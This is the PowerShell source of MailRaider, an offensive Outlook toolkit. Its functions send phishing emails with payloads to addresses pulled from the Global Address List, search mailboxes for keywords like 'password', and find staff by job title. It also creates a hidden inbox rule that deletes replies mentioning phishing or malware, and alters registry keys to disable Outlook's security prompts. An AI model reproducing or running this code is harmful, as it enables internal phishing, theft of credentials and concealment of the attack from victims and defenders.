#requires -version 2 <# MailRaider v0.1 by @xorrior #> function Invoke-SendMail { <# .SYNOPSIS This function sends emails using a custom or default template to specified target email addresses. .DESCRIPTION This function sends a specified number of phishing emails to a specific email address or a target list. A payload or URL can be included in the email. The E-Mail will be constructed based on a template or by specifying the Subject and Body of the email. .PARAMETER Targets Array of target email addresses. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List. .PARAMETER TargetList List of email addresses read from a file. If Targets or TargetList parameter are not specified, a list of 100 email addresses will be randomly selected from the Global Address List. .PARAMETER URL URL to include in the email .PARAMETER Attachment Full path to the file to use as a payload .PARAMETER Template Full path to the template html file .PARAMETER Subject Subject of the email .PARAMETER Body Body of the email .EXAMPLE Invoke-SendMail -Targets $Emails -URL "http://bigorg.com/projections.xls" -Subject "Hi" -Body "Please check this link out!" Send phishing email to the array of target email addresses with an embedded url. .EXAMPLE Invoke-SendMail -TargetList .\Targets.txt -Attachment .\Notice.rtf -Template .\Phish.html Send phishing email to the list of addresses from file and include the specified attachment. #> [CmdletBinding()] param( [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)] [string[]]$Targets, [Parameter(Mandatory = $False, Position = 1)] [string]$TargetList, [Parameter(Mandatory = $False, Position = 2)] [string]$URL, [Parameter(Mandatory = $False, Position = 3)] [string]$Attachment, [Parameter(Mandatory = $False, Position = 4)] [String]$Template, [Parameter(Mandatory = $False, Position = 5)] [string]$Subject, [Parameter(Mandatory = $False, Position = 6)] [String]$Body ) #check for a target list file or the targets parameter if($TargetList){ if(!(Test-Path $TargetList)){ Throw "Not a valid file path for E-Mail TargetList" } $TargetEmails = Get-Content $TargetList } elseif($Targets){ $TargetEmails = $Targets } #check if a template is being used if($Template){ if(!(Test-Path $Template)){ Throw "Not a valid file path for E-mail template" } $EmailBody = Get-Content -Path $Template $EmailSubject = $Subject } elseif($Subject -and $Body){ $EmailSubject = $Subject $EmailBody = $Body } else { Throw "No email Subject and/or Body specified" } #Check for a url to embed if($URL){ $EmailBody = $EmailBody.Replace("URL",$URL) } #Read the Outlook signature locally if available $appdatapath = $env:appdata $sigpath = $appdatapath + "\Microsoft\Signatures\*.htm" if(Test-Path $sigpath){ $Signature = Get-Content -Path $sigpath } #Create Outlook rule to automatically sends emails pertaining to phishing emails to deleted items folder Invoke-Rule -Subject $Subject -RuleName "RaiderIn" #Iterate through the list, craft the emails, and then send it off. ForEach($Target in $TargetEmails){ $Outlook = Get-OutlookInstance $Email = $Outlook.CreateItem(0) #If there was an attachment, include it with the email if($Attachment){ $($Email.Attachment).Add($Attachment) } $Email.HTMLBody = "$EmailBody" $Email.Subject = $EmailSubject $Email.To = $Target #if there is a signature, add it to the email if($Signature){ $Email.HTMLBody += "`n`n" + "$Signature" } $Email.Send() Write-Verbose "Sent Email to $Target" [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null } } function Invoke-Rule { <# .SYNOPSIS This function enables an Outlook rule where all received mail items, that match the specified subject flags, will be sent to the deleted items folder .DESCRIPTION This function takes the subject string and other flagged words and applies them to a received items Outlook rule. Any items that match this rule will be sent to the deleted items folder. This allows for the account to be used in phishing for a longer period of time without detection. .PARAMETER Subject The subject string to use in the rule .LINK https://social.technet.microsoft.com/forums/windowsserver/en-US/6b25cbd2-2bff-4820-ab53-796e306066eb/defining-custom-outlook-rules-using-powershell #> [CmdletBinding()] param( [Parameter(Mandatory = $False, Position = 0)] [string]$Subject, [Parameter(Mandatory = $False, Position = 1)] [string]$RuleName, [Parameter(Mandatory = $False, Position = 2)] [System.__ComObject]$Outlook, [Parameter(Mandatory = $False)] [switch]$Disable ) $flags = @() $flags = $Subject.Split(" ") $flags += "hacked" $flags += "malware" $flags += "phishing" $flags += "virus" If(!($Outlook)){ $Outlook = Get-OutlookInstance $MAPI = $Outlook.GetNamespace('MAPI') } if($Disable){ $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {$_.Name -eq $RuleName} $rule.enabled = $False } else{ #Check if the Rule has already been created $rule = ($($Outlook.session).DefaultStore).GetRules() | Where-Object {(!(Compare-Object $($_.Conditions.Subject).Text $flags))} if(!($rule)){ #Load the assembly for Outlook objects Add-Type -AssemblyName Microsoft.Office.Interop.Outlook | Out-Null #$MAPI = $Outlook.GetNamespace('MAPI') $inbox = Get-OutlookFolder -Name "Inbox" $DeletedFolder = Get-OutlookFolder -Name "DeletedItems" #Retrieve all Outlook rules $rules = $MAPI.DefaultStore.GetRules() $rule = $rules.create($RuleName, [Microsoft.Office.Interop.Outlook.OlRuleType]::OlRuleReceive) $SubText = $rule.Conditions.Subject $SubText.Enabled = $true #Set the matching strings in the email subject to our flags array $SubText.Text = $flags $action = $rule.Actions.MoveToFolder $action.enabled = $true [Microsoft.Office.Interop.Outlook._MoveOrCopyRuleAction].InvokeMember( "Folder", [System.Reflection.BindingFlags]::SetProperty, $null, $action, $DeletedFolder) #Save and enable the rule try { $rules.Save() Write-Verbose "Saved Outlook Rule with name: $Rulename" } catch { Write-Warning "Unable to save inbound rule with name: $RuleName" } } } [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null } function Get-OSVersion { <# .SYNOPSIS Determines the Operating System version of the host .Example Check-OSVersion #> #function to grab the major and minor verions to determine the OS. Write-Verbose "Detecting OS..." $OS = [environment]::OSVersion.Version if($OS.Major -eq 10){ $OSVersion = "Windows 10" } #if the major version is 6, the OS can be from Vista to Windows 8.1 if($OS.Major -eq 6){ switch ($OS.Minor){ 3 {$OSVersion = "Windows 8.1/Server 2012 R2"} 2 {$OSVersion = "Windows 8/Server 2012"} 1 {$OSVersion = "Windows 7/Server 2008 R2"} 0 {$OSVersion = "Windows Vista/Server 2008"} } } if($OS.Major -eq 5){ switch ($OS.Minor){ 2 {$OSVersion = "Windows XP/Server 2003 R2"} 1 {$OSVersion = "Windows XP"} 0 {$OSVersion = "Windows 2000"} } } Write-Verbose "Checking the bitness of the OS" if((Get-WmiObject -class win32_operatingsystem).OSArchitecture -eq "64-bit"){ $OSArch = 64 } else{ $OSArch = 32 } $OSVersion $OSArch } function Select-EmailItem { <# .SYNOPSIS This function selects an Email Item according to an index and displays it .PARAMETER Index The index of the Email item to display. Defaults to 0. .EXAMPLE Select-EmailItem -Index 5 Display Email Item 5 in the current folder. #> [CmdletBinding()] param( [Parameter(Mandatory = $False, ValueFromPipeline = $True)] [System.__ComObject]$FolderObj, [Parameter(Mandatory = $True)] [int]$Num ) $EmailItem = $FolderObj.Items | Select-Object -Index $Num $EmailItem | Select-Object To,SenderName,SenderEmailAddress,Subject,Body,SentOn,ReceivedTime } function View-Email { <# .SYNOPSIS This function selects the specified folder and then outputs the email item at the specified index .PARAMETER FolderName The Name of the Outlook Default Folder. .PARAMETER Index Index of the Email item within the selected folder to display. The index default is 0. .EXAMPLE View-Email -FolderName "Inbox" Select the olFolderInbox folder and view the first email. #> [CmdletBinding()] param( [Parameter(Mandatory = $True, Position = 0)] [string]$FolderName, [Parameter(Mandatory = $False, Position = 1)] [int]$Index = 0 ) $OF = Get-OutlookFolder -Name $FolderName Select-EmailItem -FolderObj $OF -Num $Index } function Get-OutlookFolder { <# .SYNOPSIS This functions returns one of the Outlook top-level, default folders .PARAMETER Name Name of the desired folder. Default name is Inbox. .EXAMPLE Get-OutlookFolder -Name "Inbox" #> [CmdletBinding()] param( [Parameter(Mandatory = $True, Position = 0)] [String]$Name ) $OlDefaultFolders = @{ "olFolderCalendar" = 9 "olFolderConflicts" = 19 "olFolderContacts" = 10 "olFolderDeletedItems" = 3 "olFolderDrafts" = 16 "olFolderInbox" = 6 "olFolderJournal" = 11 "olFolderJunk" = 23 "olFolderLocalFailures" = 21 "olFolderManageEmail" = 29 "olFolderNotes" = 12 "olFolderOutbox" = 4 "olFolderSentMail" = 5 "olFolderServerFailures" = 22 "olFolderSuggestedContacts" = 30 "olFolderSyncIssues" = 20 "olFolderTasks" = 13 "olFolderToDo" = 28 "olPublicFoldersAllPublicFolders" = 18 "olFolderRssFeeds" = 25 } $DefaultFolderName = "olFolder$Name" $Value = $OlDefaultFolders.Item($DefaultFolderName) $Outlook = Get-OutlookInstance $MAPI = $Outlook.GetNamespace('MAPI') $FolderObj = $MAPI.GetDefaultFolder($Value) Write-Verbose "Obtained Folder Object" [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null $FolderObj } function Get-EmailItems { <# .SYNOPSIS This function returns all of the items for the specified folder .PARAMETER Folder System.__ComObject for the Top Level folder .PARAMETER MaxEmails Maximum number of emails to grab .PARAMETER Full Return the Full mail item object .EXAMPLE Get-EmailItems -Folder $Inbox #> [CmdletBinding()] param( [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True)] [System.__ComObject]$Folder, [Parameter(Mandatory = $False, Position = 1)] [int]$MaxEmails, [Parameter(Mandatory = $False)] [switch]$FullObject ) if($MaxEmails){ Write-Verbose "Selecting the first $MaxEmails emails" $Items = $Folder.Items | Select-Object -First $MaxEmails } else{ Write-Verbose "Selecting all emails" $Items = $Folder.Items } if(!($FullObject)){ $Emails = @() Write-Verbose "Creating custom Email item objects..." $Items | ForEach { $Email = New-Object PSObject -Property @{ To = $_.To FromName = $_.SenderName FromAddress = $_.SenderEmailAddress Subject = $_.Subject Body = $_.Body TimeSent = $_.SentOn TimeReceived = $_.ReceivedTime } $Emails += $Email $Emails = $Emails | Sort-Object -Property TimeSent -Descending } } else{ Write-Verbose "Obtained full Email Item objects...." $Emails = $Items | Sort-Object -Property SentOn -Descending } $Emails } function Invoke-MailSearch { <# .SYNOPSIS This function searches the given Outlook folder for items (Emails, Contacts, Tasks, Notes, etc. *Depending on the folder*) and returns any matches found. .DESCRIPTION This function searches the given Outlook folder for items containing the specified keywords and returns any matches found. .PARAMETER DefaultFolder Folder to search in. Default is the Inbox. .PARAMETER Keywords Keyword/s to search for. .PARAMETER MaxResults Maximum number of results to return. .PARAMETER MaxSearch Maximum number of emails to search through .PARAMETER MaxThreads Maximum number of threads to use when searching .PARAMETER File Path to results file .EXAMPLE Invoke-MailSearch -Keyword "password" -MaxResults 20 -MaxThreads 30 Conduct a search on the Inbox with admin and password specified as keywords. Return a maximum of 20 results. #> [CmdletBinding()] param( [Parameter(Mandatory = $True)] [string]$DefaultFolder, [Parameter(Mandatory = $True)] [string[]]$Keywords, [Parameter(Mandatory = $False)] [int]$MaxResults, [Parameter(Mandatory = $True)] [int]$MaxThreads = 15, [Parameter(Mandatory = $False)] [int]$MaxSearch, [Parameter(Mandatory = $False)] [string]$File ) #Variable to hold the results $ResultsList = @() $SearchEmailBlock = { param($Regex, $MailItem) $Subject = $MailItem.Subject $Body = $MailItem.Body if(($($Regex.Match($Subject)).Success) -or ($($Regex.Match($Body)).Success)){ $MailItem } } $OF = Get-OutlookFolder -Name $DefaultFolder if($MaxSearch){ $Emails = Get-EmailItems -Folder $OF -FullObject -MaxEmails $MaxSearch } else { $Emails = Get-EmailItems -Folder $OF -FullObject } #Create regex for keywords if($Keywords.Count -gt 1){ $count = $Keywords.Count - 2 for($i = 0; $i -lt $count; $i++){ $Keywords[$i] += "|" } [string]$Keywords = $Keywords -join '' $Keywords = "\b($Keywords)\b" } else { $Keywords = "\b($Keywords)\b" } $Regex = [regex]$Keywords Write-Verbose "[*] Searching through $($Emails.count) emails....." #All of this multithreading magic is taken directly from harmj0y and his child, powerview #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672 $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() #Get all the current variables for this runspace $MyVars = Get-Variable -Scope 1 $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumfunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") #Add the variables from the current runspace to the new runspace ForEach($Var in $MyVars){ if($VorbiddenVars -notcontains $Var.Name){ $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } Write-Verbose "Creating RunSpace Pool" $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) $pool.Open() $jobs = @() $ps = @() $wait = @() $counter = 0 $MsgCount = 1 ForEach($Msg in $Emails){ Write-Verbose "Searching Email # $MsgCount/$($Emails.count)" while ($($pool.GetAvailableRunSpaces()) -le 0){ Start-Sleep -Milliseconds 500 } $ps += [powershell]::create() $ps[$counter].runspacepool = $pool [void]$ps[$counter].AddScript($SearchEmailBlock).AddParameter('Regex', $Regex).AddParameter('MailItem', $Msg) $jobs += $ps[$counter].BeginInvoke(); $wait += $jobs[$counter].AsyncWaitHandle $counter = $counter + 1 $MsgCount = $MsgCount + 1 } $waitTimeout = Get-Date while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { Start-Sleep -Milliseconds 500 } for ($x = 0; $x -lt $counter; $x++){ try { $result = $ps[$x].EndInvoke($jobs[$x]) if($result){ $ResultsList += $result } } catch { Write-Warning "error: $_" } finally { $ps[$x].Dispose() } } $pool.Dispose() If($MaxResults){ $ResultsList = $ResultsList | Select-Object -First $MaxResults } If($File){ $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body | Out-File $File } else { $ResultsList | Select-Object SenderName,SenderEmailAddress,ReceivedTime,To,Subject,Body } } function Get-SubFolders { <# .SYNOPSIS This function returns a list of all the folders in the specified top level folder. .PARAMETER DefaultFolder Name of the top-level folder to retrieve a list of folders from. .PARAMETER FullObject Return the full folder object instead of just the name .EXAMPLE Get-SubFolders -FolderName "SentMail" Get a list of folders and sub-folders from the sentmail box. #> [CmdletBinding()] param( [parameter(Mandatory = $False, Position = 0)] [string]$DefaultFolder, [parameter(Mandatory = $False)] [switch]$FullObject ) $SubFolders = (Get-OutlookFolder -Name $DefaultFolder).Folders If(!($SubFolders)){ Throw "No subfolders were found for folder: $($Folder.Name)" } if(!($FullObject)){ $SubFolders = $SubFolders | ForEach {$_.Name} } $SubFolders } function Get-GlobalAddressList { <# .SYNOPSIS This function returns an array of Contact objects from a Global Address List object. .PARAMETER Outlook The MAPI namespace object for Outlook .EXAMPLE Get-GlobalAddressList -MAPI $MAPI Return the GAL for the MAPI namespace #> [CmdletBinding()] param( [Parameter(Mandatory = $False)] [System.__ComObject]$MAPI ) if(!($MAPI)){ $Outlook = Get-OutlookInstance $MAPI = $Outlook.GetNamespace('MAPI') } $GAL = $MAPI.GetGlobalAddressList() $GAL = $GAL.AddressEntries $GAL } function Invoke-SearchGAL { <# .SYNOPSIS This function returns any users that match the exchange criteria specified. .DESCRIPTION This fuction returns any exchange users that match the specified search criteria. Searchable fields are FirstName, LastName, JobTitle, Email-Address, and Department .PARAMETER FullName Full Name to search for .PARAMETER JobTitle Job Title to search for .PARAMETER Email E-Mail Address to search for .PARAMETER Dept Department to search for .PARAMETER MaxThreads The maximum number of threads to use when searching. The default is set to 15. .EXAMPLE Invoke-SearchGAL -JobTitle "System Administrator" -MaxThreads 30 Search the GAL with 30 threads, for any Exchange Users with the JobTitle "System Administrator". #> [CmdletBinding()] param( [Parameter(Mandatory = $True, ParameterSetName = "Name", Position = 0)] [string]$FullName, [Parameter(Mandatory = $True, ParameterSetName = "JobTitle", Position = 1)] [string]$JobTitle, [Parameter(Mandatory = $True, ParameterSetName = "Email", Position = 2)] [string]$Email, [Parameter(Mandatory = $True, ParameterSetName = "Department", Position = 3)] [string]$Dept, [Parameter(Mandatory = $False, Position = 4)] [int]$MaxThreads = 15 ) $Outlook = Get-OutlookInstance $MAPI = $Outlook.GetNamespace("MAPI") $GAL = Get-GlobalAddressList -MAPI $MAPI $UserList = @() ForEach($Entry in $GAL){ $UserList += $Entry.GetExchangeUser() } $GAL = $UserList #$User = $GAL | Where-Object {($($_.GetExchangeUser()).FirstName -eq $FirstName) -and ($($_.GetExchangeUser()).LastName -eq $LastName)} $SearchScript = { param($Regex,$Type,$User) if($Regex.Match($($User.$Type)).Success){ $User } } if($PSCmdlet.ParameterSetName -eq "Name"){ $Type = "Name" $Term = $FullName } elseif($PSCmdlet.ParameterSetName -eq "JobTitle"){ $Type = "JobTitle" $Term = $JobTitle } elseif($PSCmdlet.ParameterSetName -eq "Email"){ $Type = "PrimarySMTPAddress" $Term = $Email } else { $Type = "Department" $Term = $Dept } $Regex = [regex]"\b($Term)\b" #All of this multithreading magic is taken directly from harmj0y and his child, powerview #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672 $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() #Get all the current variables for this runspace $MyVars = Get-Variable -Scope 1 $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumfunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") #Add the variables from the current runspace to the new runspace ForEach($Var in $MyVars){ if($VorbiddenVars -notcontains $Var.Name){ $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) } } Write-Verbose "Creating RunSpace Pool" $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) $pool.Open() $jobs = @() $ps = @() $wait = @() $counter = 0 $AddressCount = 1 Write-Verbose "The SearchString is $Term" ForEach($User in $GAL){ Write-Verbose "Searching the through ($AddressCount/$($GAL.Count) address entries...." while ($($pool.GetAvailableRunSpaces()) -le 0){ Start-Sleep -Milliseconds 500 } $ps += [powershell]::create() $ps[$counter].runspacepool = $pool #Write-Verbose "Adding $SearchScript" [void]$ps[$counter].AddScript($SearchScript).AddParameter('Regex', $Regex).AddParameter('Type',$Type).AddParameter('User', $User) $jobs += $ps[$counter].BeginInvoke(); $wait += $jobs[$counter].AsyncWaitHandle $counter = $counter + 1 $AddressCount = $AddressCount + 1 } $waitTimeout = Get-Date while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { Start-Sleep -Milliseconds 500 } for ($x = 0; $x -lt $counter; $x++){ try { $result = $ps[$x].EndInvoke($jobs[$x]) if($result){ $ResultsList += $result } } catch { Write-Warning "error: $_" } finally { $ps[$x].Dispose() } } $pool.Dispose() $ResultsList [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null } function Get-SMTPAddress { <# .SYNOPSIS Gets the PrimarySMTPAddress of a user. .DESCRIPTION This function returns the PrimarySMTPAddress of a user via the ExchangeUser object. .PARAMETER FullName First and Last name of the user separated by a space. .OUTPUTS System.String . Primary email address of the user. #> [CmdletBinding()] Param( [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)] [string[]]$FullNames ) $Outlook = Get-OutlookInstance $MAPI = $Outlook.GetNamespace('MAPI') #Grab the GAL $GAL = Get-GlobalAddressList -MAPI $MAPI #If the full name is given, try to obtain the exchange user object $PrimarySMTPAddresses = @() If($FullNames){ ForEach($Name in $FullNames){ try{ $regex = [regex]"\b($Name)\b" $User = $GAL | Where-Object {$_.Name -Match $regex} } catch { Write-Warning "Unable to obtain exchange user object with the name: $Name" } $PrimarySMTPAddresses += $($User.GetExchangeuser()).PrimarySMTPAddress } } else { try { $($($($Outlook.Session).CurrentUser).AddressEntry).GetExchangeUser().PrimarySMTPAddress } catch { Throw "Unable to obtain PrimarySMTPAddress for the current user" } } [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null $PrimarySMTPAddresses } function Disable-SecuritySettings { <# .SYNOPSIS This function checks for the existence of the Outlook security registry keys ObjectModelGuard, PromptOOMSend, and AdminSecurityMode. If the keys exist, overwrite with the appropriate values to disable to security prompt for programmatic access. .DESCRIPTION This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode registry keys for Outlook security. This function must be run in an administrative context in order to set the values for the registry keys. .PARAMETER Version The version of microsoft outlook. This is pertinent to the location of the registry keys. .EXAMPLE Disable-SecuritySettings -Version 15 #> [CmdletBinding()] param( [Parameter(Mandatory = $False)] [string]$AdminUser, [Parameter(Mandatory = $False)] [string]$AdminPassword, [parameter(Mandatory = $True)] [string]$Version ) $count = 0 #Check AV to see if it's up to date. $AV = Get-WmiObject -namespace root\SecurityCenter2 -class Antivirusproduct if($AV){ $AVstate = $AV.productState $statuscode = '{0:X6}' -f $AVstate $wscupdated = $statuscode[4,5] -join '' -as [byte] if($wscupdated -eq (00 -as [byte])) { Write-Verbose "AV is up to date" $AVUpdated = $True } elseif($wscupdated -eq (10 -as [byte])){ Write-Verbose "AV is not up to date" $AVUpdated = $False } else{ Write-Verbose "Unable to determine AV status" $AVUpdated = $False } } else{ Write-Verbose "AV not installed" $AVUpdated = $False } $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\outlook\Security" $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security" $ObjectModelGuard = "ObjectModelGuard" $PromptOOMSend = "PromptOOMSend" $AdminSecurityMode = "AdminSecurityMode" $cmd = " " if(!(Test-Path $LMSecurityKey)){ #if the key does not exists, create or update the appropriate reg keys values. $cmd = "New-Item $LMSecurityKey -Force; " $cmd += "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; " } else{ $currentValue = (Get-ItemProperty $LMSecurityKey -Name ObjectModelGuard -ErrorAction SilentlyContinue).ObjectModelGuard if($currentValue -and ($currentValue -ne 2)){ $cmd = "Set-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -Force; " } elseif(!($currentValue)) { $cmd = "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; " } } if(!(Test-Path $CUSecurityKey)){ $cmd += "New-Item $CUSecurityKey -Force; " $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; " $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force; " } else{ $currentValue = (Get-ItemProperty $CUSecurityKey -Name PromptOOMSend -ErrorAction SilentlyContinue).PromptOOMSend if($currentValue -and ($currentValue -ne 2)){ $cmd += "Set-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -Force; " } elseif(!($currentValue)) { $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; " } $currentValue = (Get-ItemProperty $CUSecurityKey -Name AdminSecurityMode -ErrorAction SilentlyContinue).AdminSecurityMode if($currentValue -and ($currentValue -ne 3)){ $cmd += "Set-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -Force" } elseif(!($currentValue)) { $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force" } } if($AdminUser -and $AdminPassword){ #If creds are given start a new powershell process and run the commands. Unable to use the Credential parameter with $pw = ConvertTo-SecureString $AdminPassword -asplaintext -Force $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\' $Arg = " -WindowStyle hidden -Command $cmd" Start-Process "powershell.exe" -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg $count += 1 } else{ #Start-Process powershell.exe -WindowStyle hidden -ArgumentList $cmd if($cmd){ try { Invoke-Expression $cmd } catch { Throw "Unable to change registry settings to disable security prompt" } } $count += 1 } if($count -eq 1){ Write-Verbose "Success" } elseif($count -eq 0){ Write-Verbose "Disable-SecuritySettings Failed" } } #Under-Construction function Reset-SecuritySettings { <# .SYNOPSIS This function resets all of the registry keys to their original state .PARAMETER AdminUser Administrative user .PARAMETER AdminPass Password of administrative user .EXAMPLE Reset-SecuritySettings #> [CmdletBinding()] param( [Parameter(Mandatory = $False)] [string]$AdminUser, [Parameter(Mandatory = $False)] [string]$AdminPass, [Parameter(Mandatory = $True)] [string]$Version ) $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\Outlook\Security" $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security" #if the old value exists, that means the registry key was set and not created. if(Test-Path $LMSecurityKey){ #If the key exists, remove it. $cmd = "Remove-ItemProperty -Path $LMSecurityKey -Name ObjectModelGuard -Force;" } if(Test-Path $CUSecurityKey){ $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name PromptOOMSend -Force;" $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name AdminSecurityMode -Force" } if($AdminUser -and $AdminPass){ $pw = ConvertTo-SecureString $AdminPass -asplaintext -Force $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\' $Arg = " -WindowStyle hidden -Command $cmd" Start-Process powershell.exe -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg } else { try { Invoke-Expression $cmd } catch { Throw "Unable to reset registry keys" } } } function Get-OutlookInstance { <# .SYNOPSIS Get an instance of Outlook. This function must be executed in the same user context of the Outlook application. .EXAMPLE Get-OutlookInstance Get an instance of Outlook #> try { $Outlook = New-Object -ComObject "Outlook.Application" } catch { Throw "Unable to open Outlook ComObject" } $Outlook }